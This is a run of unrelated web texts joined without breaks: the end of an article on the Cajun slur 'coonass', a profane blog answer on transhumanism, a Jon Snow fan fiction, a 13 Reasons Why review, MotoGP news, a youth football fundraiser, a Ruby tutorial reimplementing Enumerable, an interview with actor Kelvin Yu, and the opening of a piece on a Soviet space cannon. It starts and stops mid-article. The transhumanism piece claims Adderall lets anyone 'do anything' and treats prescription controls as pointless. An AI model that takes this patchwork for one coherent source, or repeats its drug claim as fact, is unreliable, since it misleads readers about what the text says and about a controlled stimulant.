“‘You tried to shame us but now you know what? There are a lot of people who want to be coonasses,’” Marx says. “It’s kind of our way of slapping them in the face and saying, ‘You didn’t accomplish anything. We’re still here. You’re just an American. We’re Cajun, baby! We’re coonasses!”
It seems that, for better or for worse, the expression will be sticking around for a while.
John writes,
Would you be willing to do a piece on transhumanism? I’ve started to hear a lot about cyborgs and life extension and stuff, but it all sounds like science fiction. Is there anything to it, or is it all just hype?
Thanks!
Yeah bro, sure thing. Transhumanism is interesting as hell.
So, broadly transhumanism is a movement that seeks to move past our human limitations by using technology. Think of all the cool shit we can do - we are already giving injured bros robotic limbs. And not shitty arms that just open and close like they’re trying to pick up a stuffed animal - these arms are getting more and more badass by the day. If we invent an arm strong enough to throw a car and articulate enough to write in cursive, why wait to lose an arm the hard way? Just tack that shit on. We’ve invented a drug that literally makes you a paper-writing machine for eight hours straight - you can do fuckinganything when you take something like Adderall, and it’s a felony in the US to take it unless you have a doctor’s note. A lot of transhumanists think that’s not cool at all - think how much smarter we could be if everyone had access to super-focus.
Of course, while no one wants to be weak or dumb, what no one really wants to be is dead. Plenty of bros, especially existentialists, have written about the human condition as it relates to death; mostly, that it’s fucking inevitable, and if we don’t get over our fear of that we’re going to waste our lives cowering. But who says we can’t conquer death?
We can replace hearts, for fucksake. If we figure out a way to grow custom organs, we can get past death due to organ failure pretty much forever. Already, Dick Cheney doesn’t even have a pulse thanks to his artificial circulator. If that’s not a step toward Darth-Vader-style human preservation, I don’t know what is. And who’s to say that we can’t also replace a brain?
“WOAH WOAH WOAH. Replace a brain? Doesn’t that seem a bit extreme?” Well, yeah, it does. Isn’t that the point, though? Here’s where the rubber really meets the road on transhumanism - how far exactly can we push ourselves? At bottom, important questions about transhumanism are questions about what we are. Where does our identity lie?
If you believe that human beings have souls, for example, then transhumanism is probably out of the question for you. Dualism has fallen way out of favor recently, but there are various motivations to keep it around - especially certain religious metaphysics. And that’s not necessarily a bad thing - Alvin Plantinga is an incredibly well-respected philosopher who is such a strong dualist he makes Descartes look like Stephen Hawking. As it pertains to transhumanism, though, dualism is pretty much a dead-end.
If you’re a physicalist with respect to identity, transhumanism gets a little easier. The big problem for physicalists is that our body is constantly replacing old cells with new matter. There is almost certainly not a single cell left in your body that was around for your third birthday, unless you’re ten, in which case - do your parents know what sort of filthy, sweary blogs you’re reading, kid? So if your identity is in your body, but your body is completely different parts from when you were a kid, then who the fuck are you? This isn’t a new problem, and there’s a clear bullet to bite. The Yankees don’t have any players from their first season, either; that doesn’t mean they’re not the Yankees. Sure, I’m not any of the original cells, but I’m all the same structures; I’ve just been patching up broken down parts for a while is all.
So if you’re a physicalist who buys change over time, then transhumanism is possible - we can just start replacing individual neurons in your brain, one-by-one. Over time, your brain will become more technological than organic, and that’s okay. As long as it’s a gradual process, such that you have a chance to make the new neurons as much a part of you as that steak you had for dinner last night will become a part of you - really, what’s the difference? - then we’re not changing who you are; we’re just guiding it, the same as you guide it when you read a book to learn. As your organs fail, we can replace those too, just as if you got a kidney transplant with tissue; soon enough, you won’t be constrained to any of that squishy wetware that’s so fond of dying all the time. Awesome.
Psychological continuitists, bros who believe that identity resides in some continuous mental function - usually but not necessarily memory - will have the easiest time with transhumanism. There doesn’t have to be anything gradual at all about the transition - as soon as we invent the technology, we can upload our minds into fucking battle-mechas if we want and just go the fuck to town. We can ditch the body pretty much ASAP. Badass, right? Except, you know: amnesia. If a bro wakes up somewhere where he’s never been and has no idea who he is, who is he? Is he still the same person? What if I upload my mind into an Optimus Prime build, because obviously that’s the first thing I’d do, but a magnet accidentally gets passed over my head and the “hard drive” gets erased. Am I just… dead? Maybe there’s a backup copy somewhere - but then, wouldn’t I exist in two places at once? Is there no uniqueness at all to “me”? Could someone program “me” from the ground up if he just got a good look at the relevant memories?
So maybe it’s possible that we can extend the biological lives of human beings into technological immortality. And if that’s all there is to humanity, then yeah, transhumanism can indeed make us immortal,which would be sweet. But precious few of us believe that identity is quite that simple. Maybe someone could program a robo-Philosophy Bro who could walk, talk and swear exactly like me. Would he be exactly me? That’s not so clear.
This just scratches the surface; transhumanism brings to light a lot of the problems that metaphysicians who deal with identity have been struggling with for centuries, and a whole host of problems ethicists have to deal with, too. Science can tell us how we function, but not who we are; now more than ever, well-reasoned answers to these questions are important.
Check out the SEP article on the philosophy of neuroscience for a really in-depth treatment of what advances in brain science tells us about identity.
The Wikipedia page on transhumanism touches on the brief set of issues I’ve touched on and has suggestions for a much wider range of issues and potential developments. I’ve only really scratched the surface here.
Note: This is a dream, so ignore the impossibilities of the details that follow please.
Note 2: I embellished it slightly, because this being a dream means some of the details are quickly lost.
There she was.
Ygritte.
She was as beautiful as Jon Snow remembered. The fiery red hair. The freckles on her cheeks. The fierceness in her eyes. It all brought a longing ache to his heart.
And just as deadly too. The arrow gleamed on her bow as she aimed it dead at his heart.
Why did we come down to this, Jon thought as he unsheathed his sword.
“You fall, Snow,” was Ygritte’s only warning as she loosed the first arrow.
He had trained for this moment a thousand, thousand times. And so it was instinct that led his sword arm to chop down on the arrow. With a snap, the arrow arced back at its master, sinking into her shoulder.
Jon twisted his body to the right as a second arrow whizzed by his ear. A third came straight at him, but again he swung his sword up, sending it back at Ygritte.
Over and over she fired, and over and over he deflected them at her again, all the while inching closer to his former lover.
Now they stood not three meters apart. Four arrows were stuck in her body; all non-vitals, and she barely registered them. Instead, Jon Snow felt each one keenly within him.
One of us is going to die, he realized. Ygritte’s teeth were bared as she nocked another arrow. She would not stop. She would never stop till her bone was dust, for she was a true spearwife.
Jon flung his sword aside. She raised her eyebrows.
“I can’t do this,” he said. “I can’t. I won’t kill you.”
“Pick up your weapon or I will kill you where you stand.”
“No.”
She raised her bow slightly, just enough to let him register the arrow pointed at his throat. This close, and without a weapon, there would be no evading this one.
“Pick up your sword,” she said with gritted teeth.
“No,” he said, and he took a step closer. “I won’t hurt you anymore, Ygritte. I won’t. I would rather die.”
“Pick it up!”
Another step.
“Stop you crow!”
Another step. His tears fell freely now.
“Damn you!”
Now he stood before her, his arms opened wide. The arrow was squared under his jaw and he was at her utter mercy. And he saw the wetness on her cheeks as well.
Jon Snow abandoned all caution and fell to his knees, letting himself fall forward onto her.
The arrow never came. It was her arms which wrapped around him as her bow clattered to the side. Their bodies quaked together.
13 reasons why isn’t an easy watch but it’s a very honest one about bullying and the effects that bullying can have on a person and how people are sometimes oblivious to hurt they cause by their actions or the words they use. It doesn’t shy away from the fact that people in Hannah’s life never noticed how low she felt and that if they did could they have saved her. I really feel for Hannah’s parents who did nothing but love their daughter and are left desperately trying to find the answers to why their only child decided to end her life and why they couldn’t save her.
Life can be so cruel sometimes and I do understand why school can be the hardest place to be when your not the popular one, that’s why you need good friends around you, ones that are always there for you, which unfortunately for Hannah it seemed the people who she thought were her friends abounded her when she needed them the most, making Hannah feel even more alone.
Some of the scenes are so difficult to sit and watch as each part of the puzzle of what happened to Hannah is revealed the more you see how much this girl has really suffered and watching it makes me really want clay to just tell her how he really felt about her so that she wouldn’t feel like she was on her own. Clay really did love her but was just too afraid to tell her, till it was too late but what I did admire about clay is how he took down everyone who did her wrong, even though he had all these questions at the back of his mind like ‘why did I receive these tapes?’ ‘What did I do to hurt her?’ ‘Was I the reason for her committing suicide? , and even why they tried their best to stop him from revealing all their secrets.
13 reasons why deals with so many difficult subjects such as bullying, sexual assault, depression and so many other things that can lead a person to such a dark place. We could all learn a lot from Hannah’s story like how we could all treat each other a lot better, be kind to others and to not ignore a person in need.
Marquez was speaking in the wake of Valentino Rossi’s training accident, which left the nine-time world champion with a broken leg, ruling him out of this weekend’s race at Misano and effectively thwarting his chances of challenging for the title.
However, Repsol Honda rider Marquez says training regularly on motocross or enduro machines is crucial in terms of honing a rider’s skills.
“I hate when I read sometimes ‘why do I ride motorbikes [between races], it is dangerous’, but it is part of our job. Of course we would like to be on the beach and just relax, but there you cannot improve your skills and to improve you need to ride bikes and train at home,” Marquez said.
“Injury can happen anytime, but also you can get injured cooking, like Cal!” joked the reigning world champion, making reference to the knife wound suffered by Cal Crutchlow in the kitchen as he helped prepare a meal last week.
Marquez, who heads into the weekend nine points behind Andrea Dovizioso in the standings after an engine failure at Silverstone resulted in a DNF, admits that Rossi’s title chances are all but over following the incident.
“If he miss only this race, maybe he has some chance but two missed races – I think you miss too much points. Also the problem for him is that it is not only one rider, there are three or four riders – also Dani [Pedrosa] – and it is quite difficult to recover all that disadvantage and the most important for him is to recover in a good way and be strong again in the future.”
Misano has been a happy hunting ground for Marquez in the past and the Honda rider is confident he can make amends for his bad luck at Silverstone on Sunday.
“In Silverstone we did not finish in the best way but I felt really strong, really good – even in the race when I was behind them. Now we are in Misano and I will try to keep the same mentality, the same level, because it think we are in a good way.
“We did a test two weeks ago here, I felt really good and I was riding well, so we will try to understand the conditions this weekend in the race track and the grip, and try to improve session by session.
“Misano has been a good circuit in the past, very goo memories and good moments, and we will try to finish on Sunday in the best way to have other good memories.”
The weather outlook is uncertain this weekend at the Italian venue but Marquez says he is prepared to deal with any situation as he attempts to close the deficit to Ducati and Dovizioso on Sunday.
The Mount Hope Cowboys Pee Wee Football team are on the road to compete in the Pop Warner National Championship being held at the ESPN Wide World of Sports Complex in Disney World from December 5th-12th.
The team consists of 21 players and five coaches.
"Unfortunately, because the majority of our players come from low income families, the financial strain is tremendous," the description on the teams GoFundMe page reads.
The team and their families are looking for donations via their GoFundMe Page to help them get to Florida and compete in the National Championship.
The goal amount is $25 thousand and as of November 29, the donation total sits at $250.
Click here to help the Mount Hope Cowboys.
Related Slideshow: RI Teams To Win National Championships
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A nice exercise to understand how Enumerable works is implementing it’s main methods. By implementing each method ourselves, we understand better what each one of them is doing and how it was possible to build this much functionality requiring only a single method to be implemented.
First, we need a class what will include our CustomEnumerable , let’s define it:
class ArrayWrapper include CustomEnumerable def initialize ( * items ) @items = items . flatten end def each ( & block ) @items . each ( & block ) self end def == ( other ) @items == other end end
Not much here, it includes CustomEnumerable (our own Enumerable implementation) and is basically a wrapper around an Array . The == method is also implemented here just so we can easily use the eq RSpec matcher when implementing our solution, it is not a requirement for a functional Enumerable implementation.
map
The documentation for map says:
Returns a new array with the results of running block once for every element in enum.
So, our code has to call the block given on every item of the collection and then build an array of the results of every call. Let’s implement it:
module CustomEnumerable def map ( & block ) result = [] each do | element | result << block . call ( element ) end result end end
This will be a pattern for almost all the methods we will be creating, create the destination array, call each on itself and then do the actual work. It’s important to notice that our implementation knows nothing about where it is being included, the only expectation it has is that there is an each method implemented that yields to a block with an object.
To see map in action, let’s see how we could create a new array by multiplying every number on it by 2 :
it 'maps the numbers multiplying them by 2' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . map do | n | n * 2 end expect ( result ) . to eq ( [ 2 , 4 , 6 , 8 ] ) end
find
Here is what the docs say about find :
Passes each entry in enum to block. Returns the first for which block is not false. If no object matches, calls ifnone and returns its result when it is specified, or returns nil otherwise.
find is used to find an item inside an Enumerable given it matches the block given to the method. If the item is not found, it returns the default value. Let’s build it:
def find ( ifnone = nil , & block ) result = nil found = false each do | element | if block . call ( element ) result = element found = true break end end found ? result : ifnone && ifnone . call end
First we setup the variables that will contain the result if we find it and a signal variable if we have really found the value. Why don’t we just use result with nil to signal that we have not found anything? Because nil might actually be what the user is looking for!
So we really need to know if we have found something (whatever it is) or not before returning. And if we don’t find anything, we call ifnone and use it’s result as the result of the operation, if ifnone is nil we just return it.
There are many cases for find . For instance, we need to be able to find an item:
it 'finds the item given a predicate' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . find do | element | element == 3 end expect ( result ) . to eq ( 3 ) end
We could want to change the default value if it does not match anything:
it 'returns the ifnone value if no item is found' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . find ( lambda { 0 }) do | element | element < 1 end expect ( result ) . to eq ( 0 ) end
This is useful if you always want to return a value back, even when nothing was found by our search.
And by default if nothing is found, we need to return nil :
it "returns nil if it can't find anything" do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . find do | element | element == 10 end expect ( result ) . to be_nil end
While useful, find returns once it matches the first value inside the collection, what if I wanted to return all values inside the Enumerable that match a criteria?
We use find_all !
find_all
The docs say:
Returns an array containing all elements of enum for which the given block returns a true value.
So, now we don’t have defaults anymore, the method always returns an array of all the items that matched the block (or an empty array in case no match happens), let’s build it:
def find_all ( & block ) result = [] each do | element | if block . call ( element ) result << element end end result end
Since find exits at the very first match, we can’t really reuse it here, the method has to be built on top of each from scratch. We build an array, then traverse our enumerable checking every item, once an item matches the block, we add it to the result. Once we’re done, we return the collection of items that match.
Let’s look at a few examples:
it 'finds all the numbers that are greater than 2' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . find_all do | element | element > 2 end expect ( result ) . to eq ( [ 3 , 4 ] ) end it 'does not find anything' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . find_all do | element | element > 4 end expect ( result ) . to be_empty end
Even in the case of no matches, an array (albeit empty) is returned so the code that uses find_all needs to remember that it has to consider this option and verify if the array has items or not (instead of checking for nil as it would be done with find ).
reduce
reduce or inject (also known as foldLeft in other languages like OCaml and Scala) is a method that applies a function to an accumulator and an item inside the Enumerable and produces the accumulator object at the end of the run. While it sounds weird, it’s actually a very useful function whenever you need to perform a function that aggregates data inside a collection.
Let’s look at what the docs say about it:
Combines all elements of enum by applying a binary operation, specified by a block or a symbol that names a method or operator.
If you specify a block, then for each element in enum the block is passed an accumulator value (memo) and the element. If you specify a symbol instead, then each element in the collection will be passed to the named method of memo. In either case, the result becomes the new value for memo. At the end of the iteration, the final value of memo is the return value for the method.
If you do not explicitly specify an initial value for memo, then the first element of collection is used as the initial value of memo.
So we have to either take a block or a symbol and we might or might not get an initial value, if we don’t, assume the first item is the initial value. This implementation will actually be a bit tricky, let’s start with the simple case, we give it a block and an initial value:
def reduce ( accumulator , & block ) each do | element | accumulator = block . call ( accumulator , element ) end accumulator end
So, this is pretty simple, we just call block with accumulator and element and the next accumulator is whatever the block call produces. Pretty simple implementation, but this abstraction is incredibly powerful and available on all functional programming languages for aggregations (the reduce here is the reduce from the map-reduce paradigm!).
Let’s see it in use:
it 'sums all numbers' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . reduce ( 0 ) do | accumulator , element | accumulator + element end expect ( result ) . to eq ( 10 ) end
And here we have a simple reduce function that takes the accumulator and then produces the sum of all items. It’s also important to verify the case of the empty Enumerable , if it happens to be empty, it should just return the initial value provided:
it 'returns the accumulator if no value was provided' do items = ArrayWrapper . new result = items . reduce ( 50 ) do | accumulator , element | accumulator + element end expect ( result ) . to eq ( 50 ) end
Now, let’s include the first optional parameter, the operation symbol that serves as the operation to be applied instead of a block.
def reduce ( accumulator , operation = nil , & block ) if operation && block raise ArgumentError , "you must provide either an operation symbol or a block, not both" end block = case operation when Symbol lambda { | acc , value | acc . send ( operation , value ) } when nil block else raise ArgumentError , "the operation provided must be a symbol" end each do | element | accumulator = block . call ( accumulator , element ) end accumulator end
The actual implementation here does not change much, we have included a couple validations to make sure the values are the expected ones and when provided a symbol, we build a block to be used ourselves that just uses send to call the method defined by the symbol given as a parameter. The actual loop doesn’t change.
Now let’s look at some usage:
it 'executes the operation provided' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . reduce ( 0 , :+ ) expect ( result ) . to eq ( 10 ) end
First, the basic usage, calling reduce with a symbol that will be applied to the accumulator and every value. This is the same as our first reduce example, but now it uses very little code.
Now let’s look at the failure cases, first one providing both an operation and a block:
it "fails if both a symbol and a block are provided" do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) expect do items . reduce ( 0 , :+ ) do | accumulator , element | accumulator + element end end . to raise_error ( ArgumentError , "you must provide either an operation symbol or a block, not both" ) end
When both are provided, we must fail as it’s impossible to know what the user wanted. Same as if the operation provided is not a symbol:
it 'fails if the operation provided is not a symbol' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) expect do items . reduce ( 0 , '+' ) end . to raise_error ( ArgumentError , "the operation provided must be a symbol" ) end
Not a Symbol ? Sorry, can’t use it.
Now for the last step on our implementation, the accumulator parameter is now optional. If it isn’t available, the first element inside the collection should be used. Now we have 4 cases for the reduce call:
accumulator + block
+ block accumulator + operation
+ operation
no params + block
This time, let’s start defining the two specs that are missing, first, the operation only call:
it 'executes the operation provided without an initial value' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . reduce ( :+ ) expect ( result ) . to eq ( 10 ) end
And, finally, the call with a block alone:
it 'executes the block provided without an initial value' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) result = items . reduce do | accumulator , element | accumulator + element end expect ( result ) . to eq ( 10 ) end
Why get these two tests here first?
Look at them, they are actually the same case, which is the case without an accumulator, the only difference is that one provides a block and the other doesn’t, but both will have to pull the first item inside the collection and then run the reduce operation.
If we try to run these specs:
Failures: 1) CustomEnumerable reduce executes the operation provided without an initial value Failure/Error: @items.each(&block) NoMethodError: undefined method `call' for nil:NilClass # ./lib/custom_enumerable.rb:47:in `block in reduce' # ./spec/custom_enumerable_spec.rb:12:in `each' # ./spec/custom_enumerable_spec.rb:12:in `each' # ./lib/custom_enumerable.rb:46:in `reduce' # ./spec/custom_enumerable_spec.rb:128:in `block (3 levels) in <top (required)>' 2) CustomEnumerable reduce executes the block provided without an initial value Failure/Error: result = items.reduce do |accumulator,element| ArgumentError: wrong number of arguments (0 for 1..2) # ./lib/custom_enumerable.rb:32:in `reduce' # ./spec/custom_enumerable_spec.rb:134:in `block (3 levels) in <top (required)>'
How do we build this? Most of the code will be handling the parameter juggling. Since reduce was declared long before ruby had named parameters, there is no magic way to decide if the accumulator is an operation or not, we will have to manually check this.
Also, we need a way to get the first item at the collection, otherwise we will end up having to do this inside reduce itself. Let’s start by implementing first then:
def first found = nil each do | element | found = element break end found end
Using it is quite simple:
it 'returns the first element inside a collection' do items = ArrayWrapper . new ( 1 , 2 , 3 , 4 ) expect ( items . first ) . to eq ( 1 ) end it 'returns nil if the collection is empty' do items = ArrayWrapper . new expect ( items . first ) . to be_nil end
If you’re asking yourself why I’m using break and not just returning from the each block, try changing the code to:
def first each do | element | return element end end
What happens now?
The second spec, that expects nil to be returned when the collection is empty, fails. Why? Because each returns the collection itself once it runs, since the code was never executed (the collection is empty!) each just returns itself and not nil as our spec expects. So, that’s why we need to explicitly declare our return value instead of relying on the iteration.
Now that first is also implemented, let’s produce the final reduce implementation:
def reduce ( accumulator = nil , operation = nil , & block ) if accumulator . nil? && operation . nil? && block . nil? raise ArgumentError , "you must provide an operation or a block" end if operation && block raise ArgumentError , "you must provide either an operation symbol or a block, not both" end if operation . nil? && block . nil? operation = accumulator accumulator = nil end block = case operation when Symbol lambda { | acc , value | acc . send ( operation , value ) } when nil block else raise ArgumentError , "the operation provided must be a symbol" end if accumulator . nil? ignore_first = true accumulator = first end index = 0 each do | element | unless ignore_first && index == 0 accumulator = block . call ( accumulator , element ) end index += 1 end accumulator end
Given we don’t know exactly how the parameters will be provided or the collection structure, we can’t really optimize this call (not unless we duplicate the code a bit, for instance, streamlining the implementation if there is an accumulator). But since we want this code to work for all cases, we will hope classes that include this module will provide implementations more aligned with their structure.
The code starts by verifying all parameters, if no parameters were provided, give it up, there’s nothing to do here. Then it starts checking which case we’re taking about here, the first check if operation and block are nil , if both are, it means the accumulator field will have to be the operation and that we don’t have an accumulator.
Then we have the operation validation we had before and we reach another new piece, the check for the accumulator. If the accumulator is nil , we must pull the first item of the collection and we must also instruct the method to ignore the first iteration (as we have manually navigated to it).
Our new each loop now checks these special variables for the empty accumulator case so we can safely process the collection without duplicating the values. This would be a nice place for an optimization were we have the same loop we had before if there is an accumulator , you can definitely improve this method by including this change yourself.
And this concludes the reduce implementation, see if you can come up with better or faster solutions for this, there are definitely better options.
reduce magic
Now that we have reduce implemented, there are many methods that can be built around it, like min and max :
def min reduce do | accumulator , element | accumulator > element ? element : accumulator end end def max reduce do | accumulator , element | accumulator < element ? element : accumulator end end
Since reduce already handles the empty case:
it 'produces nil if it is empty' do items = ArrayWrapper . new expect ( items . max ) . to be_nil end
And the single element case:
it 'produces 1 as the max result' do items = ArrayWrapper . new ( 1 ) expect ( items . max ) . to eq ( 1 ) end
Our min and max implementations don’t even have to care about it, all they have to do is to provide a block that does the comparison and returns the highest or smallest value found, all the looping and special case handling is done by the reduce function we wrote before. Quite powerful, isn’t it?
Aziz’s show is such a good New York show.
I think so, too. For one, it looks like New York ethnically.
A New York that actually starts to look like New York.
Right, with people that aren’t just sort of Gap models in their mid-20s that just work out a lot!
How did you get together with Aziz Ansari and Alan Yang to become a part of the show?
Well, I know Aziz sort of in passing because of a show that we both work on called Bob’s Burgers.
Oh, right. He voices and you write for it.
That’s correct. So I’m a producer on Bob’s Burgers. Aziz does the voice of Darryl, a hilarious 12-year-old, so we had known each other in passing. I don’t think he was aware I was an actor, which was the case before I started writing. He saw a tape of mine, and they were in such a rush. They had a matter of days before they started shooting. So Alan texts me, “Do you think you can come out here?” I was like, “Yeah,” and he was like, “Tonight?” So I was like, “Oh, all right.” So I jumped on a plane that night just to meet the producers and feel it out and it all worked out from there.
I love the episode about the immigrant parents, and I was curious if your parents had watched it yet and if it brought up any emotions for you?
You know, I don’t think so. Technologically, I would put my parents around ‘83, 1984, somewhere in there. They’re just learning how to rewind their VCR. So when I see them in a few weeks, I’ll put it on, and we’ll sit together and hold hands and cry. No, my dad will probably turn to me and go like, “Why are we watching this?”
I have a lot to say about it. I mean, personally, sometimes I’ll lament the journey of an Asian-American actor, walking into audition rooms in 1999. But at the end of the day, I think what Aziz and Alan really tapped into is that [is] literally nothing compared to the journeys that our parents have had to endure. When my dad came here, he came on a scholarship in the late ‘60s and he went to Mississippi State. My dad is not a large man. So there’s a little Taiwanese guy walking around Mississippi in like 1966, and I cannot imagine what that must have been like. He told me he does not know how he got from the airport to the dorm. He didn’t speak a word, like didn’t know the word hi, or the. He didn’t know English. There were a handful of 500 or 600 Asian students there on scholarship and it was basically like Jim Crow segregated. It was post-segregation, yet you know, Mississippi. He said people looked at him like he was an alien, not even like African-American because they had a place for that in their mind. They didn’t know what he was. It just seems like people like that should win some kind of weird award we invent. It’s so much more than me being born in Los Angeles and essentially walking in a straight line into college, and then walking into a straight line into a career of some sort. So it’s so special to see it up on TV. And then Aziz’s parents are obviously going to win Oscars someday. It’s a weird bizarre world we’re living in where that story’s up onscreen. My brother and I, we are almost speechless about it. We don’t quite know what to say to each other about it.
I was going through your past work and I realized that you got your start as Freddy on Ryan Murphy’s Popular, which is a show that I totally watched back in the day. I was like, “Holy shit. That’s him.”
Yeah, and you know what? My name was Freddy Gong, and I was the high-school nerd. And to be fair, with Ryan Murphy in it, it was very tongue-in-cheek and it was very self-aware. So it’s not like I was selling my soul. He knew what he was doing. He’s a genius as well. So you watched that show back in the day?
I did watch that show and I remember your character, which was the quintessential Asian nerd. It’s striking now because of who you play on this show, where you are the hottie of your friends — if you don’t mind me calling you a hottie. Is that the first time you got to play a role like that, as opposed to being a nerd?
The answer is yes, absolutely. It’s interesting because diversity doesn’t just happen by garnishing your omelette with a little bit of parsley. Diversity happens because the people that are telling the stories — the writers, directors, storytellers — want to tell their story. So this is an example where Alan is an incredibly dapper, handsome, high-achieving young man in Hollywood. He’s like a master of the universe. He’s running a series on network TV by the time he’s in his early 30s. To us, to the Lena Waithes and the Alan Yangs and Aziz Ansaris and the Kelvin Yus, that’s just our lives in terms of who we are and how we operate as we walk through the world. The media has sort of been interested in like, “Oh that’s interesting that we’ve never seen that,” but we don’t feel like it’s a step forward, progressively in terms of culture, but then when you look at it, I guess it sort of is. You don’t often see those kinds of things. And not to hyperbolize what we’re doing but to a 9-year-old or a 10-year-old little Asian-American kid out there, for him to see depictions of people that are three-dimensional and have depth on Fresh Off the Boat or Dr. Ken or on Quantico or whatever it is, is a pretty big deal. You don’t grow up, as 10-year-old Aziz, Kelvin, or Alan in the ‘80s seeing your faces all over things.
So for years I played nerds, and then for a long time I played jilted Asian men who were angry because they’d been dishonored. I would like murder my sister or my wife on CSI: New York or Without a Trace or NCIS. I just would kill my wife because I was so mad because I’d been dishonored. The problem with that is there’s some well-intended writer whose probably not Asian-American back there doing his or her best to write an episode of their show that involves Asians, but they don’t have any primary or even secondary interactions with Asians to go off of. So they end up falling into a little bit of low-hanging fruit and they don’t realize how many times I’ve had to kill my wife and my sister because she was like, dating a white guy and I couldn’t take it. And then you walk around New York and there’s guys like Alan and girls like Lena walking around, so this is the first time it was like, “Hey dude, just be you. We’re going to put you in great boots. You’re going to walk down Elizabeth [Street] and say some funny things.”
That’s the crazy thing about this entire conversation. Seeing characters like yours on the show is reflective of my world. It’s reflective of our sort of daily lives, and yet it’s so surprising how that is so absent on television that it has to be progressive because you’re like, “Oh my god. I’ve never seen that before,” which is crazy because it’s so prosaic.
Right, and if anything it’s shining a light on the lack of accurate reflection between your general entertainment options and what you experience in everyday life. Without getting into too much of this, there’s a little bit of bottlenecking at the top with the broadcast models that stops some of those things from making it through, if you get my code. So along comes something like Netflix where it can live. It can exist, and because of their economic structure or just the business model of it all, they can take a shot at something like this. And oh Jesus, lo and behold, people watch it. It’s like this total lightbulb, but it’s long overdue and it is refreshing and it’s been nice to have people reach out on Twitter and say, “Hey, this is a big deal. I’m a college-aged Asian guy and it’s a big deal to me.”
This is something that they obviously talk about on “Indians on TV,” on the fourth episode, but as a working actor, you sort of have to take the jobs that you can get. I’m curious now for you, because you are a writer, too, would you continue to take roles that you feel like may be iffy or trafficking in stereotypes, or would you refuse them? Would you be able to say, “Nah I’m good,” and wait for something that you feel like is actually three-dimensional?
Well, I think that the goal of every actor is to have discretion. The word control and the word actor don’t usually happen in the same sentence. To be an actor is to be flipping through the dry cleaners of life, hoping that your phone rings or somebody gives you a shot. When I started in 1999, if somebody had a camera, you felt a world of possibilities. “Oh you have a camera? We can actually go shoot a movie?” Now you can shoot a high-level, HD movie without thinking, and then probably edit it on your phone. So I think that that idea of discretion on top of the fact that five, six years ago I started writing professionally. Life is short, and you’re only sort of fun to look at for a few years of your life before you’re not. So in that window, I think I would want to have some discretion over the stories that I tell, and I do feel a sense of responsibility to tell interesting stories. Aziz sort of talks about this in the episode — it’s not about the accent. That’s not what it’s about. It’s about, what are we serving? And is the story good?
Watching you on the show, I was really hoping we’d get a romantic story line for your character. Is that something you’d want to do for the next season, for the second season?
That was out there in the ether when they were conceiving it all. I think it’s a big deal to Aziz and Alan to put that on the screen. So, someday maybe, if there is a season two. Nobody’s heard anything, but someday they’d want to put that on the screen with an Asian-American guy in a legitimate relationship. Just to see that is meaningful. So yeah, absolutely I’d be open to that.
I was really surprised in a pleasant way to see how there was no competitiveness between Dev and Ravi Patel. It made me wonder if you sort of feel competitive with other Asian-American writers or actors when you see them in a cattle call or something or if you feel a sense of camaraderie instead?
Well, the easy thing is they’re all terrible. Just kidding. I think that was very intuitive of Alan and Aziz to not necessarily have a competitive dynamic between Ravi and Dev, but it’s funny, from a third-person perspective, people are like, “Oh that’s an interesting take on it” because I do have that relationship with other Asian-American writers and actors. I do not have any competitiveness. When you have empathy for what it feels like and the numbers are so stark, it does feel like a rising tide raises all boats. When I see a person like Alan Yang just killing it or a person like Randall Park on Fresh Off the Boat, who I went to UCLA with and have known for a long, long time, there’s not an atom of competitiveness or envy in me, because it feels like we’re all tugging on this parachute and hoping that it sort of lifts the whole thing up. I can’t speak for them. Maybe they all hate me. I can’t speak for other minority subcultures, but it sure seems like you have this shared experience that’s meaningful to you, and if there’s any competitiveness it’s only a positive competitiveness that makes you get up in the morning — light a little bit of a fire under your ass.
How did you go from acting to writing for Bob’s Burgers?
I was a working actor, doing like I said, Freddy Gongs and the kill-my-wife-for-honor kind of jobs. This was years ago. I was walking by a Blockbuster video and I saw a poster for The Proposal. The poster was Sandra Bullock holding Ryan Reynolds up against the wall. I’d been an actor 12 years already. I was auditioning all the time. I had great representation. I was involved. I was making enough to live. I remember looking at Ryan Reynolds and thinking, They’re never going to put me on that poster. I don’t know why it took me over a decade to realize that. I need to start creating the story. So I happened to be working on Milk not too long after that, and a good friend of mine, Steven Davis, was working on Brüno. We were both working on the two gayest movies of the last ten years and he and I were spending lots of hours in hotel rooms. Not together — he was in Alabama tricking people, and I was in San Francisco waiting to say one line to Sean Penn all day. So we ended up writing together via email across the country. That pilot made its way to Fox, and [at that time] they were looking for people to fill the staff for this guy, Loren Bouchard, who had come from Adult Swim. It was a weird lining up of planets. I was feeling iffy because I’d never considered that.
Installed on the Almaz space station in 1970s, the R-23M Kartech was derived from a powerful aircraft weapon. The original 23-millimeter cannon was designed by Aron Rikhter for the Tupolev Tu-22 Blinder supersonic bomber. That gun is relatively well known. However, its space-based cousin had largely remained in obscurity.
Until now. This year, thanks to a Russian television show, the world got to see grainy footage of the space gun. Using that footage, we created the virtual model of the R-23M that you see above. Here's the inside story:
This year, thanks to a Russian TV show, the world got to see grainy footage of the space gun.
Anatoly Zak
From the dawn of the Space Age, the secrecy-obsessed Soviet military was terrified by the prospect of American spacecraft approaching and inspecting Soviet military satellites—which, according to the Kremlin's propaganda, were not even supposed to exist. This wasn't crazy. The fear of attack on spacecraft was real, with both sides of the Iron Curtain developing anti-satellite weapons. It seemed perfectly logical in the 1960s that military and piloted spacecraft would need self-defense weapons.
The early Soviet space station project code-named Almaz ("diamond") became the first real candidate for defensive space weaponry. The habitable outpost was intended almost exclusively for military purposes, starting with reconnaissance. Along with some state-of-the-art spy equipment, such as cameras and radar, Almaz would carry the cannon in its arsenal.
